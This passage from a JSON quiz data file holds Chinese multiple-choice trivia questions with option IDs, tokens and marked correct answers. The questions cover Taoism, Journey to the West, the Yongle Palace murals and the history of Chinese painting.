16:47:40","status":"1"},{"questionId":"6001430914","questionIndex":"3","questionStem":"西游记中,孙悟空如何获得火眼金睛的?","options":"[{\"optionId\":\"LcQSx0BQjze4smyuzuBc8ZltAtmcZ7RljhQ\",\"optionDesc\":\"进入紫金红葫芦\"},{\"optionId\":\"LcQSx0BQjze4smyuzuBc8GjQUMeEM13R950\",\"optionDesc\":\"吃下仙丹\"},{\"optionId\":\"LcQSx0BQjze4smyuzuBc8xSsdAkiGHHOqWw\",\"optionDesc\":\"进入炼丹炉\"}]","questionToken":"LcQSx0BQjze4smz-3ahHoXkToQdPw2gMP5nCUm2wJuuLQiYGnrFg8F9XgzXC5hqjO_xwJAtQa7hj73XTMlLd12JIka_kgg","correct":"{\"optionId\":\"LcQSx0BQjze4smyuzuBc8xSsdAkiGHHOqWw\",\"optionDesc\":\"进入炼丹炉\"}","create_time":"2/2/2021 16:48:11","update_time":"2/2/2021 16:48:11","status":"1"},{"questionId":"6001430915","questionIndex":"5","questionStem":"下列哪个不是道教宗教建筑?","options":"[{\"optionId\":\"LcQSx0BQjze4s2yuzuBc838A4L7baBb5fc23\",\"optionDesc\":\"北京雍和宫\"},{\"optionId\":\"LcQSx0BQjze4s2yuzuBc8Bf79keiA44pDX4I\",\"optionDesc\":\"陕西西安重阳宫\"},{\"optionId\":\"LcQSx0BQjze4s2yuzuBc8f1bhGTnSVT7u2TB\",\"optionDesc\":\"山西芮城永乐宫\"}]","questionToken":"LcQSx0BQjze4s2z43ahHpn5ZvoQZrPKaxiJGUGmhRZ2Pq3jlxjQ3_GSUrTsM9aXewpzpk2mVUGEuZVg1G1EwoMDmJW5VZw","correct":"{\"optionId\":\"LcQSx0BQjze4s2yuzuBc838A4L7baBb5fc23\",\"optionDesc\":\"北京雍和宫\"}","create_time":"2/2/2021 16:48:40","update_time":"2/2/2021 16:48:40","status":"1"},{"questionId":"6001430916","questionIndex":"2","questionStem":"下列哪座名山不是道教名山?","options":"[{\"optionId\":\"LcQSx0BQjze4sGyuzuBc8ajZ9UhXzrw459SzCg\",\"optionDesc\":\"武当山\"},{\"optionId\":\"LcQSx0BQjze4sGyuzuBc8MQDejhLWA5rb7B9tA\",\"optionDesc\":\"龙虎山\"},{\"optionId\":\"LcQSx0BQjze4sGyuzuBc818TbTNQBm-4wtMDhQ\",\"optionDesc\":\"普陀山\"}]","questionToken":"LcQSx0BQjze4sGz_3ahHoeu0zvNHNjM72pUk4mXQ-98p5CTWx0wcVL7_Abb9brWJAhPlUEx14FbET9O1Dci7CKyFaSzKhg","correct":"{\"optionId\":\"LcQSx0BQjze4sGyuzuBc818TbTNQBm-4wtMDhQ\",\"optionDesc\":\"普陀山\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6001430917","questionIndex":"3","questionStem":"金庸小说中,王重阳在哪修为一代宗师的?","options":"[{\"optionId\":\"LcQSx0BQjze4sWyuzuBc8Itt10k_WFX_pjjmlw\",\"optionDesc\":\"青城山\"},{\"optionId\":\"LcQSx0BQjze4sWyuzuBc8SU3j--mC2X1yPWQng\",\"optionDesc\":\"武当山\"},{\"optionId\":\"LcQSx0BQjze4sWyuzuBc821WvxhnMYHlTei_2g\",\"optionDesc\":\"终南山\"}]","questionToken":"LcQSx0BQjze4sWz-3ahHpo_S_msuzFWEAqWFrbFrgyEYmByj1Aq-olNwtuhCA5kh5hyu5CVb3e0OypOuCuw3cOPTWEEj3g","correct":"{\"optionId\":\"LcQSx0BQjze4sWyuzuBc821WvxhnMYHlTei_2g\",\"optionDesc\":\"终南山\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6001430918","questionIndex":"3","questionStem":"在道教中,相传太上老君在人间的化身是?","options":"[{\"optionId\":\"LcQSx0BQjze4vmyuzuBc8d9nl6MYl0LAhcg1\",\"optionDesc\":\"惠子\"},{\"optionId\":\"LcQSx0BQjze4vmyuzuBc8EUBODE07iAjs9F7\",\"optionDesc\":\"庄子\"},{\"optionId\":\"LcQSx0BQjze4vmyuzuBc8xWDVpzIsYAfd1pH\",\"optionDesc\":\"老子\"}]","questionToken":"LcQSx0BQjze4vmz-3ahHoWmO2jjJ8NvDx1yvvEAE7qCFO2lFbMK02PoUQyg-8LcQFOOl_kFH0QYOAXWgo0PR2ra82hsSKg","correct":"{\"optionId\":\"LcQSx0BQjze4vmyuzuBc8xWDVpzIsYAfd1pH\",\"optionDesc\":\"老子\"}","create_time":"2/2/2021 16:47:54","update_time":"2/2/2021 16:47:54","status":"1"},{"questionId":"6001430919","questionIndex":"1","questionStem":"在道教中,道士去世被委婉地称作?","options":"[{\"optionId\":\"LcQSx0BQjze4v2yuzuBc8YvCbQLo2Nt3Itrt\",\"optionDesc\":\"涅槃\"},{\"optionId\":\"LcQSx0BQjze4v2yuzuBc8FLtQKWeaBkgMeQU\",\"optionDesc\":\"升天\"},{\"optionId\":\"LcQSx0BQjze4v2yuzuBc84GCUPSN7G7PtrxP\",\"optionDesc\":\"羽化\"}]","questionToken":"LcQSx0BQjze4v2z83ahHoWPqz0LMQefhtgrq_vpZXi8Qy8qUUmP6xPCYITXqO8UYNAR1wHEednODz-vNipr20OMxxE-lOA","correct":"{\"optionId\":\"LcQSx0BQjze4v2yuzuBc84GCUPSN7G7PtrxP\",\"optionDesc\":\"羽化\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6001430920","questionIndex":"5","questionStem":"以下哪处文化遗产中没有壁画?","options":"[{\"optionId\":\"LcQSx0BQjze7tmyuzuBc8wV-QSAr-7kAbU0z\",\"optionDesc\":\"马王堆汉墓\"},{\"optionId\":\"LcQSx0BQjze7tmyuzuBc8CZeQ1HXtqQjoj71\",\"optionDesc\":\"敦煌莫高窟\"},{\"optionId\":\"LcQSx0BQjze7tmyuzuBc8bFant1xlQ-If8Yy\",\"optionDesc\":\"永乐宫\"}]","questionToken":"LcQSx0BQjze7tmz43ahHpvJDN6SOfGYuxL0R2-se8X8H3RZ5sb6RtfQt8ee8XyIWkSQ4k3RRqMQHKEmppA5QsspCaCbrUg","correct":"{\"optionId\":\"LcQSx0BQjze7tmyuzuBc8wV-QSAr-7kAbU0z\",\"optionDesc\":\"马王堆汉墓\"}","create_time":"2/2/2021 16:48:11","update_time":"2/2/2021 16:48:11","status":"1"},{"questionId":"6001430921","questionIndex":"4","questionStem":"传统壁画中的石绿色是哪种矿石研磨得到的?","options":"[{\"optionId\":\"LcQSx0BQjze7t2yuzuBc8MTxg-gS00Kjp6M\",\"optionDesc\":\"黑曜石\"},{\"optionId\":\"LcQSx0BQjze7t2yuzuBc8Q7iYYpD2DxN2xA\",\"optionDesc\":\"青金石\"},{\"optionId\":\"LcQSx0BQjze7t2yuzuBc89XOtUS3XQ_rFCg\",\"optionDesc\":\"绿松石\"}]","questionToken":"LcQSx0BQjze7t2z53ahHpmAsFf8nQxeGC389PxHXOQXCssBAptHw6pOH9zcL1q-Lrj1lrHPqt5j46hN5IK8gNhokjliflA","correct":"{\"optionId\":\"LcQSx0BQjze7t2yuzuBc89XOtUS3XQ_rFCg\",\"optionDesc\":\"绿松石\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"6001430922","questionIndex":"4","questionStem":"永乐宫壁画中不包括以下哪种颜色?","options":"[{\"optionId\":\"LcQSx0BQjze7tGyuzuBc8J_fxZ_Am6LXVA\",\"optionDesc\":\"石绿\"},{\"optionId\":\"LcQSx0BQjze7tGyuzuBc89TaoPmxyiGv9w\",\"optionDesc\":\"钛白\"},{\"optionId\":\"LcQSx0BQjze7tGyuzuBc8b4kOiabl6NhtA\",\"optionDesc\":\"朱砂\"}]","questionToken":"LcQSx0BQjze7tGz53ahHochITXdbHjFENp5gnnzCY7daCjrkV4R_G2wFnJDNExCOG7FX_DK2udeVx-XdsxczvcqFVzO7tA","correct":"{\"optionId\":\"LcQSx0BQjze7tGyuzuBc89TaoPmxyiGv9w\",\"optionDesc\":\"钛白\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6001430923","questionIndex":"3","questionStem":"永乐宫壁画中不包括哪个内容?","options":"[{\"optionId\":\"LcQSx0BQjze7tWyuzuBc8Ux9cU5UvrQ7s5c\",\"optionDesc\":\"瑞兽\"},{\"optionId\":\"LcQSx0BQjze7tWyuzuBc8z5jlBav8_XWTJQ\",\"optionDesc\":\"战争\"},{\"optionId\":\"LcQSx0BQjze7tWyuzuBc8LhI6lj3ODPQbJg\",\"optionDesc\":\"宴饮\"}]","questionToken":"LcQSx0BQjze7tWz-3ahHoX4W2wGzTbD9WSl9VAu4Kywx8vCsGpyufLZl0YbrmMNrUHEVMWhsKXnFbuxIChCbHcZ3VHcu8w","correct":"{\"optionId\":\"LcQSx0BQjze7tWyuzuBc8z5jlBav8_XWTJQ\",\"optionDesc\":\"战争\"}","create_time":"2/2/2021 16:47:58","update_time":"2/2/2021 16:47:58","status":"1"},{"questionId":"6001430924","questionIndex":"4","questionStem":"请问中国单幅面积最大的壁画是?","options":"[{\"optionId\":\"LcQSx0BQjze7smyuzuBc8Xby20mKGCV7TFDA\",\"optionDesc\":\"《鹿王本生图》\"},{\"optionId\":\"LcQSx0BQjze7smyuzuBc8FthRYpJviyTom7-\",\"optionDesc\":\"《五台山图》\"},{\"optionId\":\"LcQSx0BQjze7smyuzuBc83RWfdMGlFsIprBW\",\"optionDesc\":\"《朝元图》\"}]","questionToken":"LcQSx0BQjze7smz53ahHpj1FJazKMJ_rvyytvoExJRVuVGQPHuKMw07FfeZYxgaWlDIpQmvm9A9WjSGpb_HaMwtGRB8vPA","correct":"{\"optionId\":\"LcQSx0BQjze7smyuzuBc83RWfdMGlFsIprBW\",\"optionDesc\":\"《朝元图》\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001430925","questionIndex":"3","questionStem":"哪位画家的风格没有对永乐宫壁画产生影响?","options":"[{\"optionId\":\"LcQSx0BQjze7s2yuzuBc8GiLYyd3G7pzW_sw\",\"optionDesc\":\"吴道子\"},{\"optionId\":\"LcQSx0BQjze7s2yuzuBc8c626FYE7bXXoTNj\",\"optionDesc\":\"顾恺之\"},{\"optionId\":\"LcQSx0BQjze7s2yuzuBc83o2ycD7czWk0IhL\",\"optionDesc\":\"唐伯虎\"}]","questionToken":"LcQSx0BQjze7s2z-3ahHoWZbJWFuO_dORka5cn3gAR8ZAMl6R7e5r3x2Hu8y86x4cMMkt_tesBd-lSFxGmTPOZAKrpfXkw","correct":"{\"optionId\":\"LcQSx0BQjze7s2yuzuBc83o2ycD7czWk0IhL\",\"optionDesc\":\"唐伯虎\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"6001430926","questionIndex":"1","questionStem":"永乐宫壁画主要完成于哪个朝代?","options":"[{\"optionId\":\"LcQSx0BQjze7sGyuzuBc8KWj8u8UIbHXhw\",\"optionDesc\":\"宋朝\"},{\"optionId\":\"LcQSx0BQjze7sGyuzuBc8zu455HStdWjLQ\",\"optionDesc\":\"元朝\"},{\"optionId\":\"LcQSx0BQjze7sGyuzuBc8YqnK-b9oHJh1g\",\"optionDesc\":\"唐朝\"}]","questionToken":"LcQSx0BQjze7sGz83ahHob6Lpp_JNqVQXx6CQIg8lAb9AbGkqACsEMY5CfIGWv1FLe3QRDGT6TVngz6Q51x7R-_iXQcGlQ","correct":"{\"optionId\":\"LcQSx0BQjze7sGyuzuBc8zu455HStdWjLQ\",\"optionDesc\":\"元朝\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6001430927","questionIndex":"2","questionStem":"被尊称画圣的中国画家是?","options":"[{\"optionId\":\"LcQSx0BQjze7sWyuzuBc8RuVjUZKiIT_tg\",\"optionDesc\":\"顾恺之\"},{\"optionId\":\"LcQSx0BQjze7sWyuzuBc88mowLX0zNvmaA\",\"optionDesc\":\"吴道子\"},{\"optionId\":\"LcQSx0BQjze7sWyuzuBc8Du9zMwIesNBmg\",\"optionDesc\":\"赵佶\"}]","questionToken":"LcQSx0BQjze7sWz_3ahHofIlY-SULJM62Sr-E5XiQOD0OasL4bPMjdPoFGXfDPfwWfCKevH77oF5kJ8MUZhN6ifCBAw_YA","correct":"{\"optionId\":\"LcQSx0BQjze7sWyuzuBc88mowLX0zNvmaA\",\"optionDesc\":\"吴道子\"}","create_time":"2/2/2021 16:48:09","update_time":"2/2/2021 16:48:09","status":"1"},{"questionId":"6001430928","questionIndex":"5","questionStem":"被称作“书画皇帝”的北宋皇帝是?","options":"[{\"optionId\":\"LcQSx0BQjze7vmyuzuBc8bFrllyIPOvbDTrE7A\",\"optionDesc\":\"宋仁宗\"},{\"optionId\":\"LcQSx0BQjze7vmyuzuBc86Q30rlXx8YBW0HSGA\",\"optionDesc\":\"宋徽宗\"},{\"optionId\":\"LcQSx0BQjze7vmyuzuBc8BJ-pHJDyy0x8me_1w\",\"optionDesc\":\"宋哲宗\"}]","questionToken":"LcQSx0BQjze7vmz43ahHpqMPxbjfytGqVz8Lhwz-nUdZkBpJB_Jfx5oJxkTWZYw21T7xyfDAPuoxGDPce10Frl9ZcgnKgA","correct":"{\"optionId\":\"LcQSx0BQjze7vmyuzuBc86Q30rlXx8YBW0HSGA\",\"optionDesc\":\"宋徽宗\"}","create_time":"2/2/2021 16:47:33","update_time":"2/2/2021 16:47:33","status":"1"},{"questionId":"6001430929","questionIndex":"2","questionStem":"中国宗教壁画中,头像背后的光圈被称作?","options":"[{\"optionId\":\"LcQSx0BQjze7v2yuzuBc8OkTaOOC5T2j9OcpqQ\",\"optionDesc\":\"光轮\"},{\"optionId\":\"LcQSx0BQjze7v2yuzuBc8QvjQBNHKJ5rPKaABw\",\"optionDesc\":\"背光\"},{\"optionId\":\"LcQSx0BQjze7v2yuzuBc81z89PSybsmaP5QaoA\",\"optionDesc\":\"头光\"}]","questionToken":"LcQSx0BQjze7v2z_3ahHpqwD5LOHD28LG850S2If5paHnu3d31huvow_eFcbnHmdW1yoq5dmvMbqd77_QN3AluiwwEa_7w","correct":"{\"optionId\":\"LcQSx0BQjze7v2yuzuBc81z89PSybsmaP5QaoA\",\"optionDesc\":\"头光\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6001430930","questionIndex":"2","questionStem":"永乐宫壁画属于什么主题的绘画?","options":"[{\"optionId\":\"LcQSx0BQjze6tmyuzuBc8SL0ee0Muv-yeF3eHg\",\"optionDesc\":\"花鸟画\"},{\"optionId\":\"LcQSx0BQjze6tmyuzuBc8GRJNbT5RKzMf5aZYg\",\"optionDesc\":\"文人画\"},{\"optionId\":\"LcQSx0BQjze6tmyuzuBc8-jps3KL2QoTBYethQ\",\"optionDesc\":\"宗教绘画\"}]","questionToken":"LcQSx0BQjze6tmz_3ahHoXg8wd7iHH7xF5E-xlhHjKKxRqlQ3AONJcruI1FYSoA2ply16eq0nIIrxQs-UsEIBOxfyz3Bbg","correct":"{\"optionId\":\"LcQSx0BQjze6tmyuzuBc8-jps3KL2QoTBYethQ\",\"optionDesc\":\"宗教绘画\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6001430931","questionIndex":"4","questionStem":"永乐宫壁画展现了哪个时代人们的生活?","options":"[{\"optionId\":\"LcQSx0BQjze6t2yuzuBc8fYQWgLbdtiG5iWR7w\",\"optionDesc\":\"隋唐时期\"},{\"optionId\":\"LcQSx0BQjze6t2yuzuBc8PpzzylEtcUaQPoa3g\",\"optionDesc\":\"明清时期\"},{\"optionId\":\"LcQSx0BQjze6t2yuzuBc80KO8Lg2KX9IOMWrsw\",\"optionDesc\":\"宋元时期\"}]","questionToken":"LcQSx0BQjze6t2z53ahHoTHm56rfcmjBO7VxbSRPMSqD2hd_SLOEwqjTnXculTds3QEwzg_OxznnQhxspYpGsPN_RWPs1g","correct":"{\"optionId\":\"LcQSx0BQjze6t2yuzuBc80KO8Lg2KX9IOMWrsw\",\"optionDesc\":\"宋元时期\"}","create_time":"2/2/2021 16:48:01","update_time":"2/2/2021 16:48:01","status":"1"},{"questionId":"6001430932","questionIndex":"2","questionStem":"以下哪种艺术形式不属于中国传统绘画?","options":"[{\"optionId\":\"LcQSx0BQjze6tGyuzuBc8dpgum6-L-mLBtAzQA\",\"optionDesc\":\"壁画\"},{\"optionId\":\"LcQSx0BQjze6tGyuzuBc8MQ8LIpS3PA1aSS9Ww\",\"optionDesc\":\"绢画\"},{\"optionId\":\"LcQSx0BQjze6tGyuzuBc852hN01mqK7yIQyPsQ\",\"optionDesc\":\"蛋彩画\"}]","questionToken":"LcQSx0BQjze6tGz_3ahHpktU0BZvQM72aAyzzw4_Uoodt4VM_i7_HUZkGCz0qWoqe4MSfC1tc-m23UG2aIgJAL7tb4Nsog","correct":"{\"optionId\":\"LcQSx0BQjze6tGyuzuBc852hN01mqK7yIQyPsQ\",\"optionDesc\":\"蛋彩画\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6001430933","questionIndex":"3","questionStem":"以下哪幅中国宗教绘画作品是道教神仙主题?","options":"[{\"optionId\":\"LcQSx0BQjze6tWyuzuBc89rKHpfMM0M5JLd3wg\",\"optionDesc\":\"《八十七神仙卷》\"},{\"optionId\":\"LcQSx0BQjze6tWyuzuBc8ZaBUbyUhUwWsCEWIw\",\"optionDesc\":\"《送子天王图》\"},{\"optionId\":\"LcQSx0BQjze6tWyuzuBc8BGwKuYLQVGxwoEYLg\",\"optionDesc\":\"《维摩诘经变图》\"}]","questionToken":"LcQSx0BQjze6tWz-3ahHpkuurEM-R1ZNGoxI-wp9ZIi5DDtdd1l9hx3ccvSbVANBSTKqguCcYAtNIoeYCXJcprJzc0QU1Q","correct":"{\"optionId\":\"LcQSx0BQjze6tWyuzuBc89rKHpfMM0M5JLd3wg\",\"optionDesc\":\"《八十七神仙卷》\"}","create_time":"2/2/2021 16:48:07","update_time":"2/2/2021 16:48:07","status":"1"},{"questionId":"6001430934","questionIndex":"1","questionStem":"被称作中国青绿山水画的巅峰之作是?","options":"[{\"optionId\":\"LcQSx0BQjze6smyuzuBc8RtQEijemi8H_SNK\",\"optionDesc\":\"《富春山居图》\"},{\"optionId\":\"LcQSx0BQjze6smyuzuBc881kWtiyENGLGDz7\",\"optionDesc\":\"《千里江山图》\"},{\"optionId\":\"LcQSx0BQjze6smyuzuBc8IQmI5QUaZfo_Cqk\",\"optionDesc\":\"《溪山行旅图》\"}]","questionToken":"LcQSx0BQjze6smz83ahHpuv6dyjTSVpK-Kmvom1tyr4HsKz9-yINUqNio3w3Pkra46lIIMx2HwTlLO65StR1ui5EmFcVIg","correct":"{\"optionId\":\"LcQSx0BQjze6smyuzuBc881kWtiyENGLGDz7\",\"optionDesc\":\"《千里江山图》\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6001430935","questionIndex":"2","questionStem":"中国壁画最多的文化遗产是?","options":"[{\"optionId\":\"LcQSx0BQjze6s2yuzuBc8XLSGQHVBOl9beya\",\"optionDesc\":\"永乐宫\"},{\"optionId\":\"LcQSx0BQjze6s2yuzuBc8_YBFyCG1SMvZZi5\",\"optionDesc\":\"莫高窟\"},{\"optionId\":\"LcQSx0BQjze6s2yuzuBc8D2qi7gdzWV5fMru\",\"optionDesc\":\"云冈石窟\"}]","questionToken":"LcQSx0BQjze6s2z_3ahHoT-LXxuBD6JRcwQmjSw8GuyDBFx-YWzRWgSvpC4116ohaSbB02ahVrQpk2y9qeTmSeNFgbIIRQ","correct":"{\"optionId\":\"LcQSx0BQjze6s2yuzuBc8_YBFyCG1SMvZZi5\",\"optionDesc\":\"莫高窟\"}","create_time":"2/2/2021 16:47:57","update_time":"2/2/2021 16:47:57","status":"1"},{"questionId":"6001430936","questionIndex":"4","questionStem":"绘画的三原色是?","options":"[{\"optionId\":\"LcQSx0BQjze6sGyuzuBc87ZtJ2hVqV_kdclP\",\"optionDesc\":\"红、黄、蓝\"},{\"optionId\":\"LcQSx0BQjze6sGyuzuBc8Ln0iiR-c2OITah_\",\"optionDesc\":\"绿、红、橙\"},{\"optionId\":\"LcQSx0BQjze6sGyuzuBc8eHBhBeMIevWNlcY\",\"optionDesc\":\"橙、绿、紫\"}]","questionToken":"LcQSx0BQjze6sGz53ahHobiVzXd8eR5uX2J7AT0HttouXlBC6ke09iurmpKrU32cY84vn6t3OGpxFEjonfsys1r3WZ8dfQ","correct":"{\"optionId\":\"LcQSx0BQjze6sGyuzuBc87ZtJ2hVqV_kdclP\",\"optionDesc\":\"红、黄、蓝\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"6001430937","questionIndex":"3","questionStem":"中国画中“四君子画”的“四君子”是指?","options":"[{\"optionId\":\"LcQSx0BQjze6sWyuzuBc88KvgspdR1MLU6Zx\",\"optionDesc\":\"梅、兰、竹、菊\"},{\"optionId\":\"LcQSx0BQjze6sWyuzuBc8IjxdAF1G3LmQL3j\",\"optionDesc\":\"梅、兰、桃、菊\"},{\"optionId\":\"LcQSx0BQjze6sWyuzuBc8XIy2MHjI5Bt2BCV\",\"optionDesc\":\"桃、兰、竹、菊\"}]","questionToken":"LcQSx0BQjze6sWz-3ahHoWkO9gwTZwOJQe3NnazklSj1Z-69Fn3KDu9D7R-61HEOugPlNpcqfyMvtRHnA1-ixsIHWDXdvQ","correct":"{\"optionId\":\"LcQSx0BQjze6sWyuzuBc88KvgspdR1MLU6Zx\",\"optionDesc\":\"梅、兰、竹、菊\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6001430938","questionIndex":"5","questionStem":"红色的对比色是?","options":"[{\"optionId\":\"LcQSx0BQjze6vmyuzuBc85vKxtJW3ORl2ETL\",\"optionDesc\":\"绿色\"},{\"optionId\":\"LcQSx0BQjze6vmyuzuBc8Smb6wvureBRNnb9\",\"optionDesc\":\"紫色\"},{\"optionId\":\"LcQSx0BQjze6vmyuzuBc8NqQo94UmQmMNzBc\",\"optionDesc\":\"黄色\"}]","questionToken":"LcQSx0BQjze6vmz43ahHpqXUiXOBv5o0ZILfBZLKe_yGf37KASwii1QT8wMMdMTUUTab6RBIenEanHxVUONSD22DSXjwMA","correct":"{\"optionId\":\"LcQSx0BQjze6vmyuzuBc85vKxtJW3ORl2ETL\",\"optionDesc\":\"绿色\"}","create_time":"2/2/2021 16:48:05","update_time":"2/2/2021 16:48:05","status":"1"},{"questionId":"6001430939","questionIndex":"1","questionStem":"中国古代著名绘画作品《洛神赋》的作者是?","options":"[{\"optionId\":\"LcQSx0BQjze6v2yuzuBc8Bnl6BAUgoiEaiD2\",\"optionDesc\":\"张僧繇\"},{\"optionId\":\"LcQSx0BQjze6v2yuzuBc8RkD_k-4bumJgaka\",\"optionDesc\":\"吴道子\"},{\"optionId\":\"LcQSx0BQjze6v2yuzuBc8z8ga2rQjF8XVoRL\",\"optionDesc\":\"顾恺之\"}]","questionToken":"LcQSx0BQjze6v2z83ahHphsUp4-v_d14RP7jfTvC-fuL4t59FlHBQgcZFLzvvoiCC-5wty-BqaJS3chu8NXFQxhoy1UAAQ","correct":"{\"optionId\":\"LcQSx0BQjze6v2yuzuBc8z8ga2rQjF8XVoRL\",\"optionDesc\":\"顾恺之\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6001430940","questionIndex":"2","questionStem":"描绘释迦摩尼前世故事的绘画作品被称作?","options":"[{\"optionId\":\"LcQSx0BQjze9tmyuzuBc8_ikb1Qh8FBrTP4\",\"optionDesc\":\"佛本生故事画\"},{\"optionId\":\"LcQSx0BQjze9tmyuzuBc8IrJQuRw8I9t-dA\",\"optionDesc\":\"经变画\"},{\"optionId\":\"LcQSx0BQjze9tmyuzuBc8eG7Fu6lPF6M0C8\",\"optionDesc\":\"水陆画\"}]","questionToken":"LcQSx0BQjze9tmz_3ahHoT9aeo-xr87CH0C2BcLYKSQc-oHJZLOjTxpRNhiAa_2AdcR4APmm5bxGsX5qBfJO1rqsjtclsw","correct":"{\"optionId\":\"LcQSx0BQjze9tmyuzuBc8_ikb1Qh8FBrTP4\",\"optionDesc\":\"佛本生故事画\"}","create_time":"2/2/2021 16:47:42","update_time":"2/2/2021 16:47:42","status":"1"},{"questionId":"6001430941","questionIndex":"3","questionStem":"以下哪种是中国传统绘画中描绘服饰的画法?","options":"[{\"optionId\":\"LcQSx0BQjze9t2yuzuBc86liIVs1UrzTVL0bsw\",\"optionDesc\":\"游丝描\"},{\"optionId\":\"LcQSx0BQjze9t2yuzuBc8W4ICcbSbRVyYHlaHg\",\"optionDesc\":\"披麻皴\"},{\"optionId\":\"LcQSx0BQjze9t2yuzuBc8PAW-5bDgBPxP7kBig\",\"optionDesc\":\"没骨画法\"}]","questionToken":"LcQSx0BQjze9t2z-3ahHpvJGDScMVr0zyIJBV1k7kKeRc1rReLHDX1IRFkIcgJP0CdD2QUfLpwRyl9h41d400m7M_pjthw","correct":"{\"optionId\":\"LcQSx0BQjze9t2yuzuBc86liIVs1UrzTVL0bsw\",\"optionDesc\":\"游丝描\"}","create_time":"2/2/2021 16:48:08","update_time":"2/2/2021 16:48:08","status":"1"},{"questionId":"6001430942","questionIndex":"5","questionStem":"请问以下哪位是元代画家?","options":"[{\"optionId\":\"LcQSx0BQjze9tGyuzuBc8Axu5jMAmiJvP3X0lw\",\"optionDesc\":\"马远\"},{\"optionId\":\"LcQSx0BQjze9tGyuzuBc85hij4DWwRfkmwLJDQ\",\"optionDesc\":\"赵孟頫\"},{\"optionId\":\"LcQSx0BQjze9tGyuzuBc8Z9NrOYlOO1XUNSVjA\",\"optionDesc\":\"赵佶\"}]","questionToken":"LcQSx0BQjze9tGz43ahHpuC1E9E7Eqnv7anIuASZ3q_Sgw8S4TiT2HaCKYPF3_SSMFXNGmPulsFDo0J3K-B_jWg7axAd7A","correct":"{\"optionId\":\"LcQSx0BQjze9tGyuzuBc85hij4DWwRfkmwLJDQ\",\"optionDesc\":\"赵孟頫\"}","create_time":"2/2/2021 16:48:29","update_time":"2/2/2021 16:48:29","status":"1"},{"questionId":"6001430943","questionIndex":"4","questionStem":"元代著名山水画《富春山居图》的作者是?","options":"[{\"optionId\":\"LcQSx0BQjze9tWyuzuBc8e8v4_bG9-B4YgE\",\"optionDesc\":\"赵孟頫 \"},{\"optionId\":\"LcQSx0BQjze9tWyuzuBc86bK-OfTiW-1pQg\",\"optionDesc\":\"黄公望\"},{\"optionId\":\"LcQSx0BQjze9tWyuzuBc8NiKxhdX3IN-v5s\",\"optionDesc\":\"倪瓒\"}]","questionToken":"LcQSx0BQjze9tWz53ahHoTzXRlZZh5lIZMkgqOHD89SUwtPmahms6PJiux8Z6o6HNZrqObUQvKMCzuOWO6JvMCY7GEVL9A","correct":"{\"optionId\":\"LcQSx0BQjze9tWyuzuBc86bK-OfTiW-1pQg\",\"optionDesc\":\"黄公望\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001430944","questionIndex":"1","questionStem":"请问以下哪幅作品不是宋徽宗赵佶所作?","options":"[{\"optionId\":\"LcQSx0BQjze9smyuzuBc81IGCbhLQHLTKZIU\",\"optionDesc\":\"《溪山行旅图》\"},{\"optionId\":\"LcQSx0BQjze9smyuzuBc8VRqyYnj9il5HfS6\",\"optionDesc\":\"《听琴图》\"},{\"optionId\":\"LcQSx0BQjze9smyuzuBc8KAkvXdD4lGC3fks\",\"optionDesc\":\"《瑞鹤图》\"}]","questionToken":"LcQSx0BQjze9smz83ahHoV56rBfl6x1uvcw3PUrwtInd7G02_wZm_w4RVhvzIzWy8dAzPgRS4B2EmjSENWrlPbb36YhbwA","correct":"{\"optionId\":\"LcQSx0BQjze9smyuzuBc81IGCbhLQHLTKZIU\",\"optionDesc\":\"《溪山行旅图》\"}","create_time":"2/2/2021 16:48:09","update_time":"2/2/2021 16:48:09","status":"1"},{"questionId":"6001430945","questionIndex":"4","questionStem":"莫高窟壁画《鹿王本生图》创作于哪个朝代?","options":"[{\"optionId\":\"LcQSx0BQjze9s2yuzuBc8LCQbPhDhqFLQGsR4A\",\"optionDesc\":\"北周\"},{\"optionId\":\"LcQSx0BQjze9s2yuzuBc8US2eFjyvQBgmPAOPg\",\"optionDesc\":\"唐代\"},{\"optionId\":\"LcQSx0BQjze9s2yuzuBc85uNuYSKRBZKlnkn9A\",\"optionDesc\":\"北魏\"}]","questionToken":"LcQSx0BQjze9s2z53ahHpl6dU2NkUOPr7DlU4bXTvnpHsveh3Gq1zUgX9FuAMTnAnYre7YSpCcaEmlluJBgGCE122Z8Fng","correct":"{\"optionId\":\"LcQSx0BQjze9s2yuzuBc85uNuYSKRBZKlnkn9A\",\"optionDesc\":\"北魏\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 